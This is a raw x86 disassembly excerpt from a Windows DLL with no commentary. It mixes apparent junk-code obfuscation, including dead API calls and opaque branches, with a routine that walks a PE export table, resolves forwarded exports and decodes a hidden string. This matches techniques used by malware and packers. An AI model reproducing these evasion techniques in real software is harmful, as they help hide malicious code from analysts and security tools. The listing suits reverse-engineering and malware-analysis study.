mov dword [ebp + eax - 0xe50], ecx
mov eax, dword [ebp - 0x718]
sub eax, dword [ebp - 0x720]
cmp eax, 1
jg 0x1003f8c3
mov dword [ebp - 0x728], 1
jmp 0x1003f8ca
and dword [ebp - 0x728], 0
mov eax, dword [ebp - 0x50]
cmp dword [ebp - 0x728], eax
je 0x1003f8e1
mov dword [ebp - 0x730], 1
jmp 0x1003f8e8
and dword [ebp - 0x730], 0
cmp dword [ebp - 0x730], 0xffffffff
je 0x1003f8fd
mov dword [ebp - 0x738], 1
jmp 0x1003f904
and dword [ebp - 0x738], 0
mov eax, dword [ebp - 0x50]
add eax, dword [ebp - 0x738]
jne 0x1003f921
mov eax, 0xffff
test eax, eax
jne 0x1003f921
and dword [ebp - 0x740], 0
jmp 0x1003f92b
mov dword [ebp - 0x740], 1
mov eax, dword [ebp - 0x740]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x50]
cmp eax, dword [ebp - 0x198]
jl 0x1003f94b
mov dword [ebp - 0x748], 1
jmp 0x1003f952
and dword [ebp - 0x748], 0
mov eax, dword [ebp - 0x748]
mov dword [ebp - 0x1a0], eax
mov dword [ebp - 0x50], 0
jmp 0x1003f96e
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 7
jg 0x1003fe30
and dword [ebp - 0x1304], 0
and dword [ebp - 0x1300], 0
and dword [ebp - 0x12fc], 0
and dword [ebp - 0x12f8], 0
lea ecx, [ebp - 0x5b1]
call fcn.10025e6a
push eax
lea eax, [ebp - 0x12f4]
push eax
lea eax, [ebp - 0x1304]
push eax
lea ecx, [ebp - 0x17d8]
call fcn.10025e6d
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xeb0]
call fcn.10025e19
mov dword [ebp - 4], 0x3c
mov dword [ebp - 0x198], 0
jmp 0x1003f9e9
mov eax, dword [ebp - 0x198]
inc eax
mov dword [ebp - 0x198], eax
cmp dword [ebp - 0x198], 2
jg 0x1003fe1c
mov dword [ebp - 0x1a8], 4
mov dword [ebp - 0x1a0], 0
jmp 0x1003fa19
mov eax, dword [ebp - 0x1a0]
inc eax
mov dword [ebp - 0x1a0], eax
cmp dword [ebp - 0x1a0], 2
jg 0x1003fe17
mov dword [ebp - 0x47c], 0
jmp 0x1003fa3f
mov eax, dword [ebp - 0x47c]
inc eax
mov dword [ebp - 0x47c], eax
cmp dword [ebp - 0x47c], 2
jge 0x1003fa5b
mov eax, dword [ebp - 0x47c]
mov dword [ebp + eax*4 - 0x1038], 1
jmp 0x1003fa32
mov dword [ebp - 0x118], 0
jmp 0x1003fa74
mov eax, dword [ebp - 0x118]
inc eax
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 2
jg 0x1003fe12
mov dword [ebp - 0x94], 0x79d44f4c
mov dword [ebp - 0x94], 2
jmp 0x1003faa4
mov eax, dword [ebp - 0x94]
dec eax
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 0
jl 0x1003fdea
mov dword [ebp - 0x778], 0x36403ac4
push 3
lea ecx, [ebp - 0x1448]
call fcn.10025ddd
mov byte [ebp - 4], 0x3d
mov dword [ebp - 0x790], 0xffffffff
mov dword [ebp - 0xf60], 0x709715b7
mov dword [ebp - 0x48c], 0
jmp 0x1003faf9
mov eax, dword [ebp - 0x48c]
inc eax
mov dword [ebp - 0x48c], eax
cmp dword [ebp - 0x48c], 3
jge 0x1003fb1b
push dword [ebp - 0x48c]
lea ecx, [ebp - 0x1448]
call fcn.10025e5b
mov dword [eax], 0x2ae39b9a
jmp 0x1003faec
mov eax, dword [ebp - 0x1a0]
mov eax, dword [ebp + eax*4 - 0xe50]
mov dword [ebp - 0x15f0], eax
mov eax, dword [ebp - 0x94]
mov eax, dword [ebp + eax*4 - 0xe50]
mov dword [ebp - 0x14a8], eax
imul eax, dword [ebp - 0x1a8], 0xffffffff
mov ecx, dword [ebp - 0x118]
mov ecx, dword [ebp + ecx*4 - 0xe50]
add ecx, eax
cmp ecx, 1
jae 0x1003fb68
mov dword [ebp - 0x750], 1
jmp 0x1003fb6f
and dword [ebp - 0x750], 0
mov esi, dword [ebp - 0x798]
mov eax, dword [ebp - 0x118]
mov edi, dword [ebp + eax*4 - 0xe50]
imul edi, dword [ebp - 0x750]
imul edi, dword [ebp - 0x1a8]
push 3
lea ecx, [ebp - 0xeb0]
call fcn.10025e5b
imul edi, dword [eax]
sub edi, esi
cmp edi, 0x3dc4
jl 0x1003fbb6
mov dword [ebp - 0x758], 1
jmp 0x1003fbbd
and dword [ebp - 0x758], 0
mov eax, dword [ebp - 0x94]
cmp dword [ebp - 0x758], eax
jge 0x1003fbe9
push 3
lea ecx, [ebp - 0xeb0]
call fcn.10025e5b
cmp dword [eax], 0
je 0x1003fbe9
mov dword [ebp - 0xf48], 1
jmp 0x1003fbf0
and dword [ebp - 0xf48], 0
mov eax, dword [ebp - 0x1a8]
mov dword [ebp - 0x169c], eax
cmp dword [ebp - 0x94], 0
jbe 0x1003fc11
mov dword [ebp - 0x760], 1
jmp 0x1003fc18
and dword [ebp - 0x760], 0
mov eax, dword [ebp - 0x1a8]
cmp dword [ebp - 0x760], eax
jle 0x1003fc3b
cmp dword [ebp - 0x1a8], 0
je 0x1003fc3b
mov dword [ebp - 0x768], 1
jmp 0x1003fc42
and dword [ebp - 0x768], 0
mov eax, dword [ebp - 0x50]
add eax, dword [ebp - 0x768]
jne 0x1003fc66
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x1038], 0
jne 0x1003fc66
and dword [ebp - 0xf50], 0
jmp 0x1003fc70
mov dword [ebp - 0xf50], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1038]
mov dword [ebp - 0x14b0], eax
mov eax, dword [ebp - 0x1a8]
mov dword [ebp - 0x15e4], eax
mov esi, dword [ebp - 0x198]
push 2
lea ecx, [ebp - 0xeb0]
call fcn.10025e5b
mov eax, dword [eax]
mov dword [ebp + esi*4 - 0xe50], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1038]
mov dword [ebp - 0x770], eax
mov eax, dword [ebp - 0x198]
mov ecx, dword [ebp - 0x770]
mov dword [ebp + eax*4 - 0xe50], ecx
cmp dword [ebp - 0x770], 0
jne 0x1003fd4c
mov eax, dword [ebp - 0x1a0]
mov eax, dword [ebp + eax*4 - 0xe50]
mov dword [ebp - 0x14b8], eax
push 1
lea ecx, [ebp - 0xeb0]
call fcn.10025e5b
mov eax, dword [ebp - 0x94]
mov dword [ebp - 0x778], eax
cmp dword [ebp - 0x778], 0xcce42bf6
jbe 0x1003fd1e
mov dword [ebp - 0x534], 1
jmp 0x1003fd25
and dword [ebp - 0x534], 0
push 2
lea ecx, [ebp - 0x1448]
call fcn.10025e5b
mov ecx, dword [ebp - 0x534]
mov dword [eax], ecx
cmp dword [ebp - 0x534], 0
jne 0x1003fd4c
and dword [ebp - 0xf58], 0
jmp 0x1003fd56
mov dword [ebp - 0xf58], 1
mov eax, dword [ebp - 0x94]
mov dword [ebp - 0x1668], eax
push 3
lea ecx, [ebp - 0xeb0]
call fcn.10025e5b
mov esi, eax
push 3
lea ecx, [ebp - 0xeb0]
call fcn.10025e5b
mov eax, dword [eax]
cmp eax, dword [esi]
jl 0x1003fd90
mov dword [ebp - 0x780], 1
jmp 0x1003fd97
and dword [ebp - 0x780], 0
mov eax, dword [ebp - 0x1a8]
cmp eax, dword [ebp - 0x780]
jg 0x1003fdb1
mov dword [ebp - 0x788], 1
jmp 0x1003fdb8
and dword [ebp - 0x788], 0
mov eax, dword [ebp - 0x788]
mov dword [ebp - 0x790], eax
mov eax, dword [ebp - 0x790]
add eax, dword [ebp - 0x798]
mov dword [ebp - 0xf60], eax
mov byte [ebp - 4], 0x3c
lea ecx, [ebp - 0x1448]
call fcn.10025e3f
jmp 0x1003fa97
mov byte [ebp - 0x1c9], 0
movzx eax, byte [ebp - 0x1c9]
test eax, eax
je 0x1003fe0d
push 0
push 0x2533
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
jmp 0x1003fa67
jmp 0x1003fa0c
jmp 0x1003f9dc
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xeb0]
call fcn.10025e3f
jmp 0x1003f967
movzx eax, word [ebp - 0xc0]
cmp eax, 0xffff
je 0x10040270
movzx eax, word [ebp - 0xc0]
mov ecx, dword [ebp - 0x114]
mov edx, dword [ebp - 0x214]
add edx, dword [ecx + 0x1c]
lea eax, [edx + eax*4]
mov dword [ebp - 0xf68], eax
mov eax, dword [ebp - 0xf68]
mov ecx, dword [ebp - 0x214]
add ecx, dword [eax]
mov dword [ebp - 0xe4], ecx
mov eax, dword [ebp - 0xe4]
cmp eax, dword [ebp - 0x114]
jbe 0x10040265
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x2a8]
mov edx, dword [ebp - 0x114]
add edx, dword [ecx + eax + 0x7c]
cmp dword [ebp - 0xe4], edx
jae 0x10040265
mov eax, dword [0x106209f0]
and eax, 2
jne 0x1003fedb
mov eax, dword [0x106209f0]
or eax, 2
mov dword [0x106209f0], eax
mov dword [ebp - 4], 0x3e
push 0xb10f
call fcn.10050a51
pop ecx
mov byte [0x106209ac], al
or dword [ebp - 4], 0xffffffff
mov byte [ebp - 0x124], 0
mov byte [ebp - 0x123], 0xe1
mov byte [ebp - 0x122], 4
mov byte [ebp - 0x121], 0xb6
mov byte [ebp - 0x120], 0xe8
mov byte [ebp - 0x11f], 0xb7
mov byte [ebp - 0x11e], 0xb6
mov byte [ebp - 0x11d], 1
mov byte [ebp - 0x11c], 8
mov byte [ebp - 0x11b], 2
mov byte [ebp - 0x11a], 0
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x124]
and eax, 0x85
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x124]
or ecx, 0x85
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x124]
mov byte [ebp + eax - 0x1b0], cl
mov dword [ebp - 0x30], 2
and dword [ebp - 0x2b0], 0
jmp 0x1003ff7e
mov eax, dword [ebp - 0x30]
inc eax
inc eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0xb
jae 0x1004005c
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x124]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x30], eax
jne 0x1003ffc8
mov eax, dword [ebp - 0x30]
movzx eax, byte [ebp + eax - 0x124]
inc eax
mov dword [ebp - 0x2b0], eax
mov eax, dword [ebp - 0x30]
movzx eax, byte [ebp + eax - 0x124]
mov ecx, dword [ebp - 0x30]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x30], eax
jmp 0x1003ff76
mov eax, dword [ebp - 0x30]
sub eax, dword [ebp - 0x2b0]
movzx eax, byte [ebp + eax - 0x126]
movsx eax, byte [ebp + eax - 0x1b0]
mov ecx, dword [ebp - 0x30]
movzx ecx, byte [ebp + ecx - 0x123]
and ecx, eax
mov eax, dword [ebp - 0x30]
sub eax, dword [ebp - 0x2b0]
movzx eax, byte [ebp + eax - 0x126]
movsx eax, byte [ebp + eax - 0x1b0]
mov edx, dword [ebp - 0x30]
movzx edx, byte [ebp + edx - 0x123]
and edx, eax
mov eax, dword [ebp - 0x30]
sub eax, dword [ebp - 0x2b0]
movzx eax, byte [ebp + eax - 0x126]
movsx eax, byte [ebp + eax - 0x1b0]
mov esi, dword [ebp - 0x30]
movzx ebx, byte [ebp + esi - 0x123]
add ebx, eax
sub ebx, edx
sub ebx, ecx
mov eax, dword [ebp - 0x30]
movzx eax, byte [ebp + eax - 0x124]
mov byte [ebp + eax - 0x1b0], bl
and dword [ebp - 0x2b0], 0
jmp 0x1003ff76
xor eax, eax
inc eax
imul eax, eax, 3
mov byte [ebp + eax - 0x1b0], 0
mov eax, dword [0x106209f0]
and eax, 4
jne 0x100400a8
mov eax, dword [0x106209f0]
or eax, 4
mov dword [0x106209f0], eax
mov dword [ebp - 4], 0x3f
lea eax, [ebp - 0x1b0]
push eax
mov ecx, 0x106209d4
call fcn.100439bc
push 0x10079620
call fcn.10060e9c
pop ecx
or dword [ebp - 4], 0xffffffff
and dword [ebp - 0x494], 0
jmp 0x100400be
mov eax, dword [ebp - 0x494]
inc eax
mov dword [ebp - 0x494], eax
cmp dword [ebp - 0x494], 4
jae 0x100400d7
mov eax, dword [ebp - 0x494]
mov byte [ebp + eax - 0x1b0], 0
jmp 0x100400b1
mov eax, dword [ebp - 0xe4]
mov dword [ebp - 0x1b8], eax
movsx eax, byte [0x106209ac]
mov ecx, dword [ebp - 0x1b8]
movsx ecx, byte [ecx]
cmp ecx, eax
je 0x10040106
mov eax, dword [ebp - 0x1b8]
inc eax
mov dword [ebp - 0x1b8], eax
jmp 0x100400e3
mov eax, dword [ebp - 0x1b8]
inc eax
mov dword [ebp - 0x1b8], eax
push dword [ebp - 0x1b8]
push dword [ebp - 0xe4]
lea ecx, [ebp - 0x16e4]
call fcn.1004645d
mov dword [ebp - 4], 0x40
push 0x106209d4
lea ecx, [ebp - 0x16e4]
call fcn.100439e9
lea eax, [ebp - 0x14c0]
push eax
lea ecx, [ebp - 0x16e4]
call fcn.10043a0e
push dword [eax]
lea eax, [ebp - 0x15ec]
push eax
lea ecx, [ebp - 0x16e4]
call fcn.100439fa
push dword [eax]
lea ecx, [ebp - 0x17f0]
call fcn.10046486
mov byte [ebp - 4], 0x41
lea eax, [ebp - 0x17f0]
push eax
call fcn.10029ade
pop ecx
mov dword [ebp - 0x53c], eax
cmp dword [ebp - 0x53c], 0
je 0x10040211
push dword [ebp - 0x1b8]
lea ecx, [ebp - 0x1720]
call fcn.100439bc
mov byte [ebp - 4], 0x42
lea edx, [ebp - 0xf70]
lea ecx, [ebp - 0x1720]
call fcn.100290b9
movzx eax, al
test eax, eax
je 0x100401e1
push 0
push dword [ebp - 0xf70]
push 0
push dword [ebp - 0x53c]
call fcn.10034fa7
add esp, 0x10
mov dword [ebp - 0xe4], eax
jmp 0x10040200
push 1
push 0
lea eax, [ebp - 0x1720]
push eax
push dword [ebp - 0x53c]
call fcn.10034fa7
add esp, 0x10
mov dword [ebp - 0xe4], eax
mov byte [ebp - 4], 0x41
lea ecx, [ebp - 0x1720]
call fcn.100439df
jmp 0x10040247
cmp dword [ebp + 0x10], 0
jne 0x10040227
mov ecx, dword [ebp + 0xc]
call fcn.10025bf8
mov dword [ebp - 0x7a0], eax
jmp 0x10040231
movzx eax, word [ebp + 0x10]
mov dword [ebp - 0x7a0], eax
push dword [ebp - 0x7a0]
push dword [ebp + 8]
call fcn.100302dd
pop ecx
pop ecx
mov dword [ebp - 0xe4], eax
mov byte [ebp - 4], 0x40
lea ecx, [ebp - 0x17f0]
call fcn.10043975
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x16e4]
call fcn.100439df
mov eax, dword [ebp - 0xe4]
jmp 0x100403c0
mov dword [ebp - 0x544], 0x8876
push 4
lea ecx, [ebp - 0x15d0]
call fcn.10025ddd
mov dword [ebp - 4], 0x43
mov dword [ebp - 0x14c8], 0xdfbc43c
push 3
lea ecx, [ebp - 0x143c]
call fcn.10025ddd
mov byte [ebp - 4], 0x44
mov dword [ebp - 0x88], 0
jmp 0x100402c2
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 4
jge 0x100402e4
push dword [ebp - 0x88]
lea ecx, [ebp - 0x15d0]
call fcn.10025e5b
mov dword [eax], 9
jmp 0x100402b5
mov dword [ebp - 0x88], 0
jmp 0x100402fd
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 3
jge 0x1004031f
push dword [ebp - 0x88]
lea ecx, [ebp - 0x143c]
call fcn.10025e5b
mov dword [eax], 0x3132d68
jmp 0x100402f0
mov byte [ebp - 0x1da], 0
movzx eax, byte [ebp - 0x1da]
test eax, eax
je 0x10040348
push 0x1aa1
push 0
push 0x1d4a
push 0x7aa
call dword [sym.imp.USER32.dll_MapWindowPoints]
mov eax, dword [ebp - 0x544]
inc eax
cmp eax, dword [ebp - 0x544]
jge 0x10040363
mov dword [ebp - 0x7a8], 1
jmp 0x1004036a
and dword [ebp - 0x7a8], 0
mov eax, dword [ebp - 0x544]
cmp dword [ebp - 0x7a8], eax
jge 0x10040384
mov dword [ebp - 0x7b0], 1
jmp 0x1004038b
and dword [ebp - 0x7b0], 0
push 0
lea ecx, [ebp - 0x143c]
call fcn.10025e5b
mov ecx, dword [ebp - 0x7b0]
mov dword [eax], ecx
mov byte [ebp - 4], 0x43
lea ecx, [ebp - 0x143c]
call fcn.10025e3f
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x15d0]
call fcn.10025e3f
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret